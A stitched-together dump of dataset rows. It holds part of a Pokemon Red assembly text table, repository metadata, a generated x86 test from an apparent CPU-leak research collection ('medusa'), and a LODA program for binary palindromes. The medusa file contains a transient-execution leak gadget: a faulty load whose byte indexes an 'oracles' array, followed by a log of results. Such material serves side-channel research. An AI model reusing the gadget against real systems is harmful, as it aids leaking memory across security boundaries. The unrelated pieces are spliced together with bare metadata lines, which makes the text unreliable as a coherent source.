SSAnne8AfterBattleText1: TX_FAR _SSAnne8AfterBattleText1 db "@" SSAnne8BattleText2: TX_FAR _SSAnne8BattleText2 db "@" SSAnne8EndBattleText2: TX_FAR _SSAnne8EndBattleText2 db "@" SSAnne8AfterBattleText2: TX_FAR _SSAnne8AfterBattleText2 db "@" SSAnne8BattleText3: TX_FAR _SSAnne8BattleText3 db "@" SSAnne8EndBattleText3: TX_FAR _SSAnne8EndBattleText3 db "@" SSAnne8AfterBattleText3: TX_FAR _SSAnne8AfterBattleText3 db "@" SSAnne8BattleText4: TX_FAR _SSAnne8BattleText4 db "@" SSAnne8EndBattleText4: TX_FAR _SSAnne8EndBattleText4 db "@" SSAnne8AfterBattleText4: TX_FAR _SSAnne8AfterBattleText4 db "@" SSAnne8Text5: TX_FAR _SSAnne8Text5 db "@" SSAnne8Text6: TX_FAR _SSAnne8Text6 db "@" SSAnne8Text7: TX_FAR _SSAnne8Text7 db "@" SSAnne8Text9: TX_FAR _SSAnne8Text9 db "@" SSAnne8Text11: TX_FAR _SSAnne8Text11 db "@"
20.079268
50
0.826906
d98c5bfb9627f4016fc0d4f427989c7827759703
5,685
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1082.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1082.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1082.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x8fe1, %rsi lea addresses_normal_ht+0x189e1, %rdi nop nop and $18278, %r13 mov $4, %rcx rep movsb nop nop nop nop sub %r11, %r11 lea addresses_WT_ht+0x12a31, %rbp nop nop nop nop nop add %rsi, %rsi movb $0x61, (%rbp) nop nop nop nop nop inc %r11 lea addresses_normal_ht+0x7077, %r11 xor %rcx, %rcx movups (%r11), %xmm1 vpextrq $0, %xmm1, %rsi nop nop add %r13, %r13 lea addresses_A_ht+0xfbe1, %rdi clflush (%rdi) nop xor %rbx, %rbx movb $0x61, (%rdi) nop nop nop nop sub $10360, %r11 lea addresses_WT_ht+0x68e1, %rsi lea addresses_D_ht+0x73e1, %rdi clflush (%rsi) nop nop nop nop nop cmp %r12, %r12 mov $71, %rcx rep movsb nop nop nop lfence lea addresses_WT_ht+0xdfe1, %rdi nop and %rbp, %rbp mov (%rdi), %ecx nop nop nop sub $18437, %r12 lea addresses_WT_ht+0x7ad4, %rsi lea addresses_D_ht+0x7779, %rdi nop nop nop nop dec %rbx mov $68, %rcx rep movsw nop nop nop nop nop sub %rbx, %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %rbx push %rdi // Faulty Load lea addresses_UC+0x10fe1, %r13 nop nop nop lfence mov (%r13), %r10d lea oracles, %rbx and $0xff, %r10 shlq $12, %r10 mov (%rbx,%r10,1), %r10 pop %rdi pop %rbx pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 4}} {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': True, 'size': 1, 'NT': False, 'same': False, 'congruent': 10}} {'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 11}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}} {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
39.206897
2,999
0.661038
de1f2bc74891bfd9a6144b72c2cca164cd311566
622
asm
Assembly
programs/oeis/048/A048701.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/048/A048701.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/048/A048701.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A048701: List of binary palindromes of even length (written in base 10). ; 0,3,9,15,33,45,51,63,129,153,165,189,195,219,231,255,513,561,585,633,645,693,717,765,771,819,843,891,903,951,975,1023,2049,2145,2193,2289,2313,2409,2457,2553,2565,2661,2709,2805,2829,2925,2973,3069,3075,3171,3219,3315,3339,3435,3483,3579,3591,3687,3735,3831,3855,3951,3999,4095,8193,8385,8481,8673,8721,8913,9009,9201,9225,9417,9513,9705,9753,9945,10041,10233,10245,10437,10533,10725,10773,10965,11061,11253,11277,11469,11565,11757,11805,11997,12093,12285,12291,12483,12579,12771 mov $1,$0 lpb $1 mul $0,2 sub $0,$1 div $1,2 lpe mul $0,3
56.545455
481
0.754019